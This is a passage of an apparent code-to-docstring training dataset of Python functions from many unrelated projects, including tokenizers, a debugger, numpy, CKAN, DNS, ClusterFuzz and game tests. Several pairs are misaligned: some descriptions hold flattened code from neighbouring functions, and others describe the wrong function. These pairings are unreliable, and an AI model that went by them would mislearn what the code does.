self._tokenizer.convert_tokens_to_ids(title_tokens)\n token_ids = []\n sentence_starts = []\n for sentence in sentences:\n sentence_starts.append(len(token_ids))\n sentence_tokens = self._tokenizer.tokenize(sentence)\n token_ids.extend(self._tokenizer.convert_tokens_to_ids(sentence_tokens))\n example = tf.train.Example()\n add_int64_feature(\"title_ids\", title_ids, example)\n add_int64_feature(\"token_ids\", token_ids, example)\n add_int64_feature(\"sentence_starts\", sentence_starts, example)\n return example.SerializeToString()\n", "nl": "Generate sentences in each block from text.title_length = len(self._tokenizer.tokenize(title))current_token_count = 0current_block_sentences = []for sentence in self._sentence_splitter.tokenize(text):num_tokens = len(self._tokenizer.tokenize(sentence))# Hypothetical sequence [CLS] [SEP] <current> <next> [SEP].hypothetical_length = 3 + title_length + current_token_count + num_tokensif hypothetical_length <= self._max_block_length:current_token_count += num_tokenscurrent_block_sentences.append(sentence)else:yield current_block_sentencescurrent_token_count = num_tokenscurrent_block_sentences = []current_block_sentences.append(sentence)if current_block_sentences:yield current_block_sentencesdef create_example(self, title, sentences):Create example."} {"code": "def encode(input_lines, word_dict):\n lines = list(map(lambda t: list(map(lambda m: word_dict[m], t)), input_lines))\n return lines\n\n", "nl": "encode list of strings into word-level representation"} {"code": "def get_buffer_add_state(self, state):\n buffer = np.zeros(self.shape, dtype=self.dtype)\n buffer[0, 0:self.history_length - 1] = self.state_buffer[0, 1:self.history_length]\n buffer[0, self.history_length - 1] = state\n return buffer\n", "nl": "Add a state into the buffer and return the buffer:param state: the current state:return: the specified buffer"} {"code": "def trace_dispatch_trap(self, frame, event, arg):\n\n if (event == 'line'):\n self.m_event = event\n\n if frame in self.m_locals_copy:\n self.update_locals_copy()\n\n bp = self.m_code_context.m_file_breakpoints.get(frame.f_lineno, None)\n if bp is not None and self.__eval_breakpoint(frame, bp):\n self.m_core._break(self, frame, event, arg)\n\n if frame in self.m_locals_copy:\n self.update_locals()\n self.set_local_trace(frame)\n\n return frame.f_trace\n\n if event == 'return':\n last_event = self.m_event\n self.m_event = event\n\n if frame in self.m_locals_copy:\n self.update_locals_copy()\n\n if frame == self.m_core.m_return_frame:\n self.m_core._break(self, frame, event, arg)\n\n if frame in self.m_locals_copy:\n self.update_locals()\n\n if last_event == 'exception':\n self.m_event = last_event\n\n return None\n\n if event == 'exception':\n self.m_event = event\n\n if self.m_code_context.m_fExceptionTrap and self.m_core.m_ftrap:\n self.set_exc_info(arg)\n\n self.m_fUnhandledException = True\n self.m_core._break(self, frame, event, arg)\n\n if frame in self.m_locals_copy:\n self.update_locals()\n\n return frame.f_trace\n\n self.m_ue_lineno = frame.f_lineno\n\n if frame in self.m_locals_copy:\n self.update_locals()\n self.set_local_trace(frame)\n\n if is_py3k():\n self.set_exc_info(arg)\n elif not frame.f_exc_traceback is arg[2]:\n (frame.f_exc_type, frame.f_exc_value, frame.f_exc_traceback) = arg\n\n return frame.f_trace\n\n return frame.f_trace\n\n", "nl": "Trace method used for frames in which unhandled exceptionsshould be caught."} {"code": "def render_pep440(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n if pieces[\"distance\"] or pieces[\"dirty\"]:\n rendered += plus_or_dot(pieces)\n rendered += \"%d.g%s\" % (pieces[\"distance\"], pieces[\"short\"])\n if pieces[\"dirty\"]:\n rendered += \".dirty\"\n else:\n rendered = \"0+untagged.%d.g%s\" % (pieces[\"distance\"], pieces[\"short\"])\n if pieces[\"dirty\"]:\n rendered += \".dirty\"\n return rendered\n\n", "nl": "Build up version string, with post-release \"local version identifier\".Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if youget a tagged build and then dirty it, you'll get TAG+0.gHEX.dirtyExceptions:1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]"} {"code": "def index() -> str:\n return base.render(u'home/about.html', extra_vars={})\n\n", "nl": "udisplay home pagetry:context = cast(Context, {u'model': model,u'session': model.Session,u'user': current_user.name,u'auth_user_obj': current_user})data_dict: dict[str, Any] = {u'q': u'*:*',u'facet.field': h.facets(),u'rows': 4,u'start': 0,u'sort': u'view_recent desc',u'fq': u'capacity:\"public\"'}query = logic.get_action(u'package_search')(context, data_dict)g.package_count = query['count']g.datasets = query['results']org_label = h.humanize_entity_type(u'organization',h.default_group_type(u'organization'),u'facet label') or _(u'Organizations')group_label = h.humanize_entity_type(u'group',h.default_group_type(u'group'),u'facet label') or _(u'Groups')g.facet_titles = {u'organization': org_label,u'groups': group_label,u'tags': _(u'Tags'),u'res_format': _(u'Formats'),u'license': _(u'Licenses'),}except search.SearchError:g.package_count = 0if current_user.is_authenticated and not current_user.email:url = h.url_for('user.edit')msg = _(u'Please <a href=\"%s\">update your profile</a>'u' and add your email address. ') % url + \\_(u'%s uses your email address'u' if you need to reset your password.') \\% config.get_value(u'ckan.site_title')h.flash_notice(msg, allow_html=True)return base.render(u'home/index.html', extra_vars={})def about() -> str:u display about page"} {"code": "def real_shape(self): # type: (...) -> Tuple[int, int]\n return (self.real_height, self.real_width)\n", "nl": "Real shape of the mask layer ``(height, width)``."} {"code": "def prepend_fragment_molecules(mols, fragments):\n titles = set([mol.GetTitle() for mol in mols])\n\n ninserted = 0\n for fragid, cid in fragments.items():\n if cid not in titles:\n fragment = load_fragment(fragid, title=cid)\n mols.insert(ninserted, fragment)\n ninserted += 1\n", "nl": "Prepend fragment molecules if they don't already exist in the list of moleculesParameters----------mols : list of OEMolList of molecules to which fragment molecules are to be prependedfragments : dict of str : strfragments[fragid] is the PostEra CID of the corresponding fragment"} {"code": "def onScreen(x, y=None):\n x, y = _normalizeXYArgs(x, y)\n x = int(x)\n y = int(y)\n\n width, height = platformModule._size()\n return 0 <= x < width and 0 <= y < height\n\n\n\n\"\"\"\n\n", "nl": "Returns whether the given xy coordinates are on the primary screen or not.Note that this function doesn't work for secondary screens.Args:Either the arguments are two separate values, first arg for x and secondfor y, or there is a single argument of a sequence with two values, thefirst x and the second y.Example: onScreen(x, y) or onScreen([x, y])Returns:bool: True if the xy coordinates are on the screen at its currentresolution, otherwise False."} {"code": "def get_slot_error(dataset, gens, refs, sv_indexes):\n\tbatch_size = len(gens)\n\tbeam_size = len(gens[0])\n\tassert len(refs) == batch_size and len(sv_indexes) == batch_size\n\n\tcount = {'total': 0.0, 'redunt': 0.0, 'miss': 0.0}\n\tcountPerGen = [ [] for _ in range(batch_size) ]\n\tfor batch_idx in range(batch_size):\n\t\tfor beam_idx in range(beam_size):\n\t\t\tfelements = [dataset.cardinality[x+dataset.dfs[2]] for x in sv_indexes[batch_idx]]\n\n\t\t\ttotal, redunt, miss = score(felements, gens[batch_idx][beam_idx], dataset.template)\n\n\t\t\tc = {}\n\t\t\tfor a, b in zip(['total', 'redunt', 'miss'], [total, redunt, miss]):\n\t\t\t\tc[a] = b\n\t\t\t\tcount[a] += b\n\t\t\tcountPerGen[batch_idx].append(c)\n\n\treturn count, countPerGen\n\n", "nl": "Args:gens: (batch_size, beam_size)refs: (batch_size,)sv: (batch_size,)Returns:count: accumulative slot error of a batchcountPerGen: slot error for each sample"} {"code": "def __init__(self, annotation_file=None):\n self.dataset,self.anns,self.cats,self.imgs = dict(),dict(),dict(),dict()", "nl": "Constructor of Microsoft COCO helper class for reading and visualizing annotations.:param annotation_file (str): location of annotation file:param image_folder (str): location to the folder that hosts images.:return:"} {"code": "def method(self):\n HTTP request headers. '''", "nl": " The ``REQUEST_METHOD`` value as an uppercase string. return self.environ.get('REQUEST_METHOD', 'GET').upper()@DictProperty('environ', 'bottle.request.headers', read_only=True)def headers(self): A :class:`WSGIHeaderDict` that provides case-insensitive access to"} {"code": "def get_input_function():\n", "nl": "A function to get test inputs. Returns an image with one box.image = tf.random_uniform([32, 32, 3], dtype=tf.float32)key = tf.constant('image_000000')class_label = tf.random_uniform([1], minval=0, maxval=NUMBER_OF_CLASSES, dtype=tf.int32)box_label = tf.random_uniform([1, 4], minval=0.4, maxval=0.6, dtype=tf.float32)multiclass_scores = tf.random_uniform([1, NUMBER_OF_CLASSES], minval=0.4, maxval=0.6, dtype=tf.float32)return {fields.InputDataFields.image: image,fields.InputDataFields.key: key,fields.InputDataFields.groundtruth_classes: class_label,fields.InputDataFields.groundtruth_boxes: box_label,fields.InputDataFields.multiclass_scores: multiclass_scores}class FakeDetectionModel(model.DetectionModel):A simple (and poor) DetectionModel for use in test."} {"code": "def exec_module(self, module):\n file_name = _path_split(self.path)[1]\n return any(file_name == '__init__' + suffix\n for suffix in EXTENSION_SUFFIXES)\n", "nl": "Initialize an extension module_bootstrap._call_with_frames_removed(_imp.exec_dynamic, module)_bootstrap._verbose_message('extension module {!r} executed from {!r}',self.name, self.path)def is_package(self, fullname):Return True if the extension module is a package."} {"code": "def _splitPoints(self, points, split):\n if not split:\n return [points]\n\n if split[0] != 0:\n split.insert(0, 0)\n\n if split[-1] != len(points):\n split.append(len(points))\n\n split = list(set(split))\n split.sort()\n\n splitA = split[:-1]\n splitB = split[1:]\n\n return [points[a:b + 1] for a, b in zip(splitA, splitB)]\n\n", "nl": "Split provided points list based on the split indices provided. Thelists will have a duplicate end and start points relating to eachother.:param list points::param list split::return: Split points:rtype: list"} {"code": "def get_market_depth(self, level, symbol):\n return self.public_request('GET', 'market/trades/{symbol}'.format(symbol=symbol))\n", "nl": "get market depthreturn self.public_request('GET', 'market/depth/{level}/{symbol}'.format(level=level, symbol=symbol))def get_trades(self,symbol):get detail trade"} {"code": "def read(self, len=1024, buffer=None):\n if buffer is not None:\n v = self._sslobj.read(len, buffer)\n else:\n v = self._sslobj.read(len)\n return v\n", "nl": "Read up to 'len' bytes from the SSL object and return them.If 'buffer' is provided, read into this buffer and return the number ofbytes read."} {"code": "def reset(self, benchmark: str) -> None:\n pass\n", "nl": "Reset the rewards space. This is called on:meth:`env.reset() <compiler_gym.envs.CompilerEnv.reset>`.:param benchmark: The URI of the benchmark that is used for thisepisode."} {"code": "def test_task_preloading_external_uid(self):\n project = ProjectFactory.create(info=dict(sched='depth_first_all'),\n owner=UserFactory.create(id=500))\n\n TaskFactory.create_batch(10, project=project)\n\n assigned_tasks = []\n headers = self.get_headers_jwt(project)\n url = 'api/project/%s/newtask?external_uid=2xb&limit=2' % project.id\n res = self.app.get(url, headers=headers)\n tasks1 = json.loads(res.data)\n for t in tasks1:\n assert t.get('id'), task1\n res = self.app.get(url + '&offset=2', headers=headers)\n tasks2 = json.loads(res.data)\n for t in tasks2:\n assert t.get('id'), t\n tasks1_ids = set([task['id'] for task in tasks1])\n tasks2_ids = set([task['id'] for task in tasks2])\n assert len(tasks1_ids.union(tasks2_ids)) == 4, \"Tasks should be different\"\n for t in tasks1:\n assigned_tasks.append(t)\n for t in tasks2:\n assigned_tasks.append(t)\n\n for t in assigned_tasks:\n tr = dict(project_id=t['project_id'],\n task_id=t['id'], info={'answer': 'No'},\n external_uid='2xb')\n tr = json.dumps(tr)\n\n res = self.app.post('/api/taskrun?external_uid=2xb',\n data=tr, headers=headers)\n res = self.app.get(url, headers=headers)\n tasks3 = json.loads(res.data)\n for t in tasks3:\n assert t.get('id'), t\n res = self.app.get(url + '&offset=2', headers=headers)\n tasks4 = json.loads(res.data)\n for t in tasks4:\n assert t.get('id'), t\n tasks3_ids = set([task['id'] for task in tasks3])\n tasks4_ids = set([task['id'] for task in tasks4])\n assert len(tasks3_ids.union(tasks4_ids)) == 4, \"Tasks should be different\"\n res = self.app.get(url + '&offset=11', headers=headers)\n assert json.loads(res.data) == {}, res.data\n\n\n @with_context", "nl": "Test TASK Pre-loading for external user IDs worksproject = ProjectFactory.create(info=dict(sched='depth_first_all'),owner=UserFactory.create(id=500))TaskFactory.create_batch(10, project=project)assigned_tasks = []# Get Task until scheduler returns Noneproject = project_repo.get(1)headers = self.get_headers_jwt(project)url = 'api/project/%s/newtask?external_uid=2xb' % project.idres = self.app.get(url, headers=headers)task1 = json.loads(res.data)# Check that we received a Taskassert task1.get('id'), task1# Pre-load the next task for the userres = self.app.get(url + '&offset=1', headers=headers)task2 = json.loads(res.data)# Check that we received a Taskassert task2.get('id'), task2# Check that both tasks are differentassert task1.get('id') != task2.get('id'), \"Tasks should be different\"## Save the assigned taskassigned_tasks.append(task1)assigned_tasks.append(task2)# Submit an Answer for the assigned and pre-loaded taskfor t in assigned_tasks:tr = dict(project_id=t['project_id'],task_id=t['id'], info={'answer': 'No'},external_uid='2xb')tr = json.dumps(tr)res = self.app.post('/api/taskrun?external_uid=2xb',data=tr, headers=headers)# Get two tasks againres = self.app.get(url, headers=headers)task3 = json.loads(res.data)# Check that we received a Taskassert task3.get('id'), task1# Pre-load the next task for the userres = self.app.get(url + '&offset=1', headers=headers)task4 = json.loads(res.data)# Check that we received a Taskassert task4.get('id'), task2# Check that both tasks are differentassert task3.get('id') != task4.get('id'), \"Tasks should be different\"assert task1.get('id') != task3.get('id'), \"Tasks should be different\"assert task2.get('id') != task4.get('id'), \"Tasks should be different\"# Check that a big offset returns Noneres = self.app.get(url + '&offset=11', headers=headers)assert json.loads(res.data) == {}, res.data@with_contextdef test_task_preloading_external_uid_limit(self):Test TASK Pre-loading for external user IDs works with limit"} {"code": "def __new__(cls, *args, **kwargs):\n if hasattr(zipfile.ZipFile, '__exit__'):\n return zipfile.ZipFile(*args, **kwargs)\n return super(ContextualZipFile, cls).__new__(cls)\n\n\nclass ZipProvider(EggProvider):\n \"\"\"Resource support for zips and eggs\"\"\"", "nl": "Construct a ZipFile or ContextualZipFile as appropriate"} {"code": "def in1d(ar1, ar2, assume_unique=False, invert=False):\n ar1 = np.asarray(ar1).ravel()\n ar2 = np.asarray(ar2).ravel()\n\n contains_object = ar1.dtype.hasobject or ar2.dtype.hasobject\n\n if len(ar2) < 10 * len(ar1) ** 0.145 or contains_object:\n if invert:\n mask = np.ones(len(ar1), dtype=bool)\n for a in ar2:\n mask &= (ar1 != a)\n else:\n mask = np.zeros(len(ar1), dtype=bool)\n for a in ar2:\n mask |= (ar1 == a)\n return mask\n\n if not assume_unique:\n ar1, rev_idx = np.unique(ar1, return_inverse=True)\n ar2 = np.unique(ar2)\n\n ar = np.concatenate((ar1, ar2))\n order = ar.argsort(kind='mergesort')\n sar = ar[order]\n if invert:\n bool_ar = (sar[1:] != sar[:-1])\n else:\n bool_ar = (sar[1:] == sar[:-1])\n flag = np.concatenate((bool_ar, [invert]))\n ret = np.empty(ar.shape, dtype=bool)\n ret[order] = flag\n\n if assume_unique:\n return ret[:len(ar1)]\n else:\n return ret[rev_idx]\n\n", "nl": "Test whether each element of a 1-D array is also present in a second array.Returns a boolean array the same length as `ar1` that is Truewhere an element of `ar1` is in `ar2` and False otherwise.We recommend using :func:`isin` instead of `in1d` for new code.Parameters----------ar1 : (M,) array_likeInput array.ar2 : array_likeThe values against which to test each value of `ar1`.assume_unique : bool, optionalIf True, the input arrays are both assumed to be unique, whichcan speed up the calculation. Default is False.invert : bool, optionalIf True, the values in the returned array are inverted (that is,False where an element of `ar1` is in `ar2` and True otherwise).Default is False. ``np.in1d(a, b, invert=True)`` is equivalentto (but is faster than) ``np.invert(in1d(a, b))``... versionadded:: 1.8.0Returns-------in1d : (M,) ndarray, boolThe values `ar1[in1d]` are in `ar2`.See Also--------isin : Version of this function that preserves theshape of ar1.numpy.lib.arraysetops : Module with a number of other functions forperforming set operations on arrays.Notes-----`in1d` can be considered as an element-wise function version of thepython keyword `in`, for 1-D sequences. ``in1d(a, b)`` is roughlyequivalent to ``np.array([item in b for item in a])``.However, this idea fails if `ar2` is a set, or similar (non-sequence)container: As ``ar2`` is converted to an array, in those cases``asarray(ar2)`` is an object array rather than the expected array ofcontained values... versionadded:: 1.4.0Examples-------->>> test = np.array([0, 1, 2, 5, 0])>>> states = [0, 2]>>> mask = np.in1d(test, states)>>> maskarray([ True, False, True, False, True])>>> test[mask]array([0, 2, 0])>>> mask = np.in1d(test, states, invert=True)>>> maskarray([False, True, False, True, False])>>> test[mask]array([1, 5])"} {"code": "def _compute_tsig_reserve(self) -> int:\n format.\n\n Additional keyword arguments are passed to the RRset ``to_wire()``\n method.\n\n *origin*, a ``dns.name.Name`` or ``None``, the origin to be appended\n to any relative names. If ``None``, and the message has an origin\n attribute that is not ``None``, then it will be used.\n\n *max_size*, an ``int``, the maximum size of the wire format", "nl": "Compute the size required for the TSIG RR# This would be more efficient if TSIGs had a size method, but we won't# worry about for now. Also, we can't really cope with the potential# compressibility of the TSIG owner name, so we estimate with the uncompressed# size. We will disable compression when TSIG and padding are both is active# so that the padding comes out right.if not self.tsig:return 0f = io.BytesIO()self.tsig.to_wire(f)return len(f.getvalue())def to_wire(self,origin: Optional[dns.name.Name] = None,max_size: int = 0,multi: bool = False,tsig_ctx: Optional[Any] = None,**kw: Dict[str, Any],) -> bytes:Return a string containing the message in DNS compressed wire"} {"code": "def cleanup_old_projects_settings(project_names):\n key = ndb.Key(data_types.OssFuzzProject, project)\n oss_fuzz_project = key.get()\n\n is_high_end = info.get('blackbox', False)\n\n ccs = ccs_from_info(info)\n language = info.get('language')\n\n if oss_fuzz_project:\n if oss_fuzz_project.service_account != service_account['email']:\n oss_fuzz_project.service_account = service_account['email']\n oss_fuzz_project.put()\n\n if oss_fuzz_project.high_end != is_high_end:\n oss_fuzz_project.high_end = is_high_end\n oss_fuzz_project.put()\n\n if oss_fuzz_project.ccs != ccs:\n oss_fuzz_project.ccs = ccs\n oss_fuzz_project.put()\n else:\n if language in MEMORY_SAFE_LANGUAGES:\n cpu_weight = OSS_FUZZ_MEMORY_SAFE_LANGUAGE_PROJECT_WEIGHT\n else:\n cpu_weight = OSS_FUZZ_DEFAULT_PROJECT_CPU_WEIGHT\n\n data_types.OssFuzzProject(\n id=project,\n name=project,\n high_end=is_high_end,\n cpu_weight=cpu_weight,\n service_account=service_account['email'],\n ccs=ccs).put()\n\n", "nl": "Delete old projects that are no longer used or disabled.to_delete = []for project in data_types.OssFuzzProject.query():if project.name not in project_names:logs.log(f'Deleting project {project.name}.')to_delete.append(project.key)if to_delete:ndb_utils.delete_multi(to_delete)def create_project_settings(project, info, service_account):Setup settings for ClusterFuzz (such as CPU distribution)."} {"code": "def get_test_examples(self):\n data_path = os.path.join(self.data_dir, \"resource\", \"token_label.vocab\")\n token_labels = self._read_text(data_path)\n return token_labels\n", "nl": "Gets a collection of `InputExample`s for the test set.data_path = os.path.join(self.data_dir, \"test-{0}\".format(self.task_name), \"test-{0}.json\".format(self.task_name))data_list = self._read_json(data_path)example_list = self._get_example(data_list)return example_listdef get_token_labels(self):Gets the list of token labels for this data set."} {"code": "def playstate(self):\n self.root_layer.draw()\n tint(0,1,1,1)\n self.drawscore()\n s = 80 if IPad else 20\n text('You won!', 'Futura', s, *self.bounds.center().as_tuple())\n", "nl": "Update the game and draw the score.self.root_layer.update(self.dt)self.playervmonster()self.root_layer.draw()self.drawscore()def wonstate(self):Draw the won message."} {"code": "def save_report(self, new_path=False):\n report_filename = self.report_widget.get_focus_report()\n if report_filename is None:\n return\n report = self._reports[report_filename]\n\n output_filename = report.render_dir\n input_dir, _ = osp.split(report_filename)\n tmpdir, output_fname = osp.split(output_filename)\n\n output = None if new_path else report.save_path\n\n if len([name for name in os.listdir(tmpdir)]) > 1:\n if output is None:\n output = getexistingdirectory(parent=self,\n caption='Save Report',\n basedir=input_dir)\n if not osp.isdir(output):\n return\n report.save_path = output\n copy_tree(tmpdir, output)\n else:\n if output is None:\n basedir = osp.join(input_dir, output_fname)\n output, _ = getsavefilename(parent=self,\n caption='Save Report',\n basedir=basedir)\n if not osp.isfile(output):\n return\n report.save_path = output\n shutil.copy(output_filename, output)\n", "nl": "Save report.If the report was already saved, save it in the same path.If the output are several files copy temporary dir to userselected directory.If the output is just one file copy it, to the user selected path.Args:new_path: force saving in a new path"} {"code": "def _handle_calls(self, alts, format_, format_str, arr):\n arr = line_str.rstrip().split(\"\\t\")\n if len(arr) != self.expected_fields:\n raise exceptions.InvalidRecordException(\n (\n \"The line contains an invalid number of fields. Was \"\n \"{} but expected {}\\n{}\".format(len(arr), 9 + len(self.samples.names), line_str)\n )\n )\n return arr\n", "nl": "Handle FORMAT and calls columns, factored out of parse_lineif format_str not in self._format_cache:self._format_cache[format_str] = list(map(self.header.get_format_field_info, format_))# per-sample callscalls = []for sample, raw_data in zip(self.samples.names, arr[9:]):if self.samples.is_parsed(sample):data = self._parse_calls_data(format_, self._format_cache[format_str], raw_data)call = record.Call(sample, data)self._format_checker.run(call, len(alts))self._check_filters(call.data.get(\"FT\"), \"FORMAT/FT\", call.sample)calls.append(call)else:calls.append(record.UnparsedCall(sample, raw_data))return callsdef _check_filters(self, filt, source, sample=None):if not filt:returnfor f in filt:self._check_filter(f, source, sample)def _check_filter(self, f, source, sample):if f == \"PASS\":pass # the PASS filter is implicitely definedelif f not in self._filter_ids:if source == \"FILTER\":warnings.warn((\"Filter not found in header: {}; problem in FILTER \" \"column\").format(f),UnknownFilter,)else:assert source == \"FORMAT/FT\" and samplewarnings.warn((\"Filter not found in header: {}; problem in \"\"FORMAT/FT column of sample {}\").format(f, sample),UnknownFilter,)def _split_line(self, line_str):Split line and check number of columns"} {"code": "def getShows():\n showSeq = Cuebot.getStub('show').GetShows(\n show_pb2.ShowGetShowsRequest(), timeout=Cuebot.Timeout).shows\n return [Show(s) for s in showSeq.shows]\n\n\n@util.grpcExceptionParser", "nl": "Returns a list of show objects.:rtype: list:return: a list of Show objects"} {"code": "def make_multiple(self, specifications, options=None):\n filenames = []\n for specification in specifications:\n filenames.extend(self.make(specification, options))\n return filenames", "nl": "Take a list of specifications and make scripts from them,:param specifications: A list of specifications.:return: A list of all absolute pathnames written to,"} {"code": "def recipe_get(self, recipe):\n raise StoreMethodNotImplemented(\n 'this store does not handle getting recipes')\n", "nl": "Get the indicated :py:class:`recipe <tiddlyweb.model.recipe.Recipe>`from the store."} {"code": "def test_read_md_file():\n\n capture_log: bool = True\n\n @pytest.mark.flaky(reruns=MAX_FLAKY_RERUNS_INTEGRATION)\n @pytest.mark.integration", "nl": "Compare the extracted code with the python file.doc_path = os.path.join(ROOT_DIR, MD_FILE)code_blocks = extract_code_blocks(filepath=doc_path, filter_=\"python\")test_code_path = os.path.join(CUR_PATH, PY_FILE)python_file = extract_python_code(test_code_path)assert code_blocks[-1] == python_file, \"Files must be exactly the same.\"class TestCliVsProgrammaticAEA(AEATestCaseManyFlaky):This class contains the tests for the code-blocks in the build-aea-programmatically.md file."} {"code": "def set_minimum(self, time):\n raise NotImplementedError\n", "nl": " Set the widget's minimum time.Parameters----------time : timeThe time object to use for setting the minimum time."} {"code": "def UCRTIncludes(self):\n if self.vc_ver < 14.0:\n return []\n\n include = os.path.join(self.si.UniversalCRTSdkDir, 'include')\n return [os.path.join(include, '%sucrt' % self._ucrt_subdir)]\n\n @property", "nl": "Microsoft Universal C Runtime SDK Include"} {"code": "def contains_weak(self, etag):\n It is also possible to use the ``in`` operator.\n \"\"\"", "nl": "Check if an etag is part of the set including weak and strong tags.return self.is_weak(etag) or self.contains(etag)def contains(self, etag):Check if an etag is part of the set ignoring weak tags."} {"code": "def _select_background_cnns(cnns):\n min_for_variability_analysis = 20\n pct_keep = 0.10\n b_cnns = [x for x in cnns if x[\"itype\"] == \"background\" and x.get(\"metrics\")]\n assert len(b_cnns) % 2 == 0, \"Expect even set of target/antitarget cnns for background\"\n if len(b_cnns) >= min_for_variability_analysis:\n b_cnns_w_metrics = []\n for b_cnn in b_cnns:\n unreliability = b_cnn[\"metrics\"][\"segments\"] * b_cnn[\"metrics\"][\"bivar\"]\n b_cnns_w_metrics.append((unreliability, b_cnn))\n b_cnns_w_metrics.sort()\n to_keep = int(math.ceil(pct_keep * len(b_cnns) / 2.0) * 2)\n b_cnns = [x[1] for x in b_cnns_w_metrics][:to_keep]\n assert len(b_cnns) % 2 == 0, \"Expect even set of target/antitarget cnns for background\"\n return [x[\"file\"] for x in b_cnns]\n", "nl": "Select cnns to use for background calculations.Uses background samples in cohort, and will remove CNNs with highon target variability. Uses (number of segments * biweight midvariance) as metricfor variability with higher numbers being more unreliable."} {"code": "def gzip_file(src, dest):\n with open(src, \"rb\") as f_in:\n with atomic_write(dest, mode=\"wb\", overwrite=True) as f_out:\n with gzip.open(f_out, \"wb\") as f_gzip:\n shutil.copyfileobj(f_in, f_gzip)\n return dest", "nl": "Gzip a file.Parameters----------src : strpath to file to gzipdest : strpath to output gzip fileReturns-------strpath to gzipped file"} {"code": "def rows(self, read_session=None):\n return ReadRowsIterable(self, read_session=read_session)\n", "nl": "Iterate over all rows in the stream.This method requires the fastavro library in order to parse rowmessages in avro format. For arrow format messages, the pyarrowlibrary is required... warning::DATETIME columns are not supported. They are currently parsed asstrings in the fastavro library.Args:read_session ( \\Optional[~google.cloud.bigquery_storage_v1.types.ReadSession] \\):DEPRECATED.This argument was used to specify the schema of the rows in thestream, but now the first message in a read stream containsthis information.Returns:Iterable[Mapping]:A sequence of rows, represented as dictionaries."} {"code": "def create_action(self):\n\n\t\tif self.label() is not None:\n\t\t\tself.action = self.qaction(self.icon(), self.label(),\n\t\t\t\tself._activate, checkable=self.checkable(),\n\t\t\t\ttooltip=self.tooltip(), shortcut=self.shortcut())\n\t\t\tif self.menu_pos() is not None:\n\t\t\t\tsubmenu_text, index, separator_before, separator_after = \\\n\t\t\t\t\tself.menu_pos()\n\t\t\t\tsubmenu = self.get_submenu(submenu_text)\n\t\t\t\tself.add_action(submenu, self.action, index, separator_before,\n\t\t\t\t\tseparator_after)\n\t\t\tif self.toolbar_pos() is not None:\n\t\t\t\tindex, separator_before, separator_after = self.toolbar_pos()\n\t\t\t\tself.add_action(self.toolbar, self.action, index,\n\t\t\t\t\tseparator_before, separator_after)\n\t\telse:\n\t\t\tself.action = None\n", "nl": "desc:Creates a QAction for the extension, and adds it to the menubarand/ or the toolbar."} {"code": "def test_kick_succ(self):\n ch = self.script\n msg, prompt = self.parse_msg_mock(self.char2)\n self.assertEqual(prompt, \"[ HP: 10 | WM: 0 | BM: 0 | SP: 8 ]\")\n\n self.assertEqual(ch.get_range(self.char1, self.char2), 'ranged')\n rulebook._do_strike(0, self.char1, self.char2, [])\n\n msg, prompt = self.parse_msg_mock(self.char1)\n self.assertEqual(msg, \"> Char(\n msg, prompt = self.parse_msg_mock(self.char2)\n self.assertEqual(msg, \"< Char is too far away from Char2 to strike them.\")\n prompt = prompt.split('&')\n self.assertEqual(prompt, ['[ HP: 10 | WM: 0 | BM: 0 | SP: 8 ]'])\n msg, prompt = self.parse_msg_mock(self.obj1)\n msg = msg.split('|')\n self.assertEqual(msg, [\".. Char is too far away from Char2 to strike them.\"])\n\n ch.move_character(self.char1, 'reach', self.char2)\n self.assertEqual(ch.get_range(self.char1, self.char2), 'reach')\n rulebook._do_strike(0, self.char1, self.char2, [])\n\n msg, prompt = self.parse_msg_mock(self.char1)\n self.assertEqual(msg, \"> Char(\n msg, prompt = self.parse_msg_mock(self.char2)\n self.assertEqual(msg, \"< Char is too far away from Char2 to strike them.\")\n prompt = prompt.split('&')\n self.assertEqual(prompt, ['[ HP: 10 | WM: 0 | BM: 0 | SP: 8 ]'])\n msg, prompt = self.parse_msg_mock(self.obj1)\n msg = msg.split('|')\n self.assertEqual(msg, [\".. Char is too far away from Char2 to strike them.\"])\n\n _equip_item(self.char1, self.ranged)\n ch.move_character(self.char1, 'melee', self.char2)\n self.assertEqual(ch.get_range(self.char1, self.char2), 'melee')\n self.assertEqual(len(self.char1.equip), 2)\n rulebook._do_strike(0, self.char1, self.char2, [])\n\n msg, prompt = self.parse_msg_mock(self.char1)\n self.assertEqual(msg, \"> Char(\n msg, prompt = self.parse_msg_mock(self.char2)\n self.assertEqual(msg, \".. Char goes to punch, but does not have a free hand.\")\n prompt = prompt.split('&')\n self.assertEqual(prompt, ['[ HP: 10 | WM: 0 | BM: 0 | SP: 8 ]'])\n msg, prompt = self.parse_msg_mock(self.obj1)\n self.assertEqual(msg, \".. Char goes to punch, but does not have a free hand.\")\n\n _unequip_item(self.char1, self.ranged)\n self.assertEqual(len(self.char1.equip), 0)\n\n self.assertEqual(ch.get_range(self.char1, self.char2), 'melee')\n rulebook._do_strike(0, self.char1, self.char2, [])\n\n msg, prompt = self.parse_msg_mock(self.char1)\n msg = msg.split('|')\n self.assertEqual(msg, [\"> Char(\n \"> Char(\n msg, prompt = self.parse_msg_mock(self.char2)\n msg = msg.split('|')\n self.assertEqual(msg, [\"< Char attempts to punch Char2 and misses.\",\n \"< Char attempts to punch Char2 and misses.\"])\n prompt = prompt.split('&')\n self.assertEqual(prompt, ['[ HP: 10 | WM: 0 | BM: 0 | SP: 8 ]',\n '[ HP: 10 | WM: 0 | BM: 0 | SP: 8 ]'])\n msg, prompt = self.parse_msg_mock(self.obj1)\n msg = msg.split('|')\n self.assertEqual(msg, [\".. Char attempts to punch Char2 and misses.\",\n \".. Char attempts to punch Char2 and misses.\"])\n self.assertEqual(self.char2.traits.HP.actual, 10)\n self.assertEqual(self.char2.traits.SP.actual, 8)\n\n @patch('world.rulebook.std_roll', new=lambda: 2)", "nl": "test successful 'kick' attacksch = self.script# confirm starting stat valuesmsg, prompt = self.parse_msg_mock(self.char2)self.assertEqual(prompt, \"[ HP: 10 | WM: 0 | BM: 0 | SP: 8 ]\")###### test successful attack messaging for a kickch.move_character(self.char1, 'melee', self.char2)self.assertEqual(ch.get_range(self.char1, self.char2), 'melee')# run both subturns of a kick action[rulebook._do_kick(st, self.char1, self.char2, []) for st in (1, 0)]# confirm messaging and stats promptmsg, prompt = self.parse_msg_mock(self.char1)msg = msg.split('|')self.assertEqual(msg, [\"> Char(#6) takes a step toward Char2(#7).\",\"> Char(#6) kicks Char2(#7) savagely, sending them reeling.\"])msg, prompt = self.parse_msg_mock(self.char2)msg = 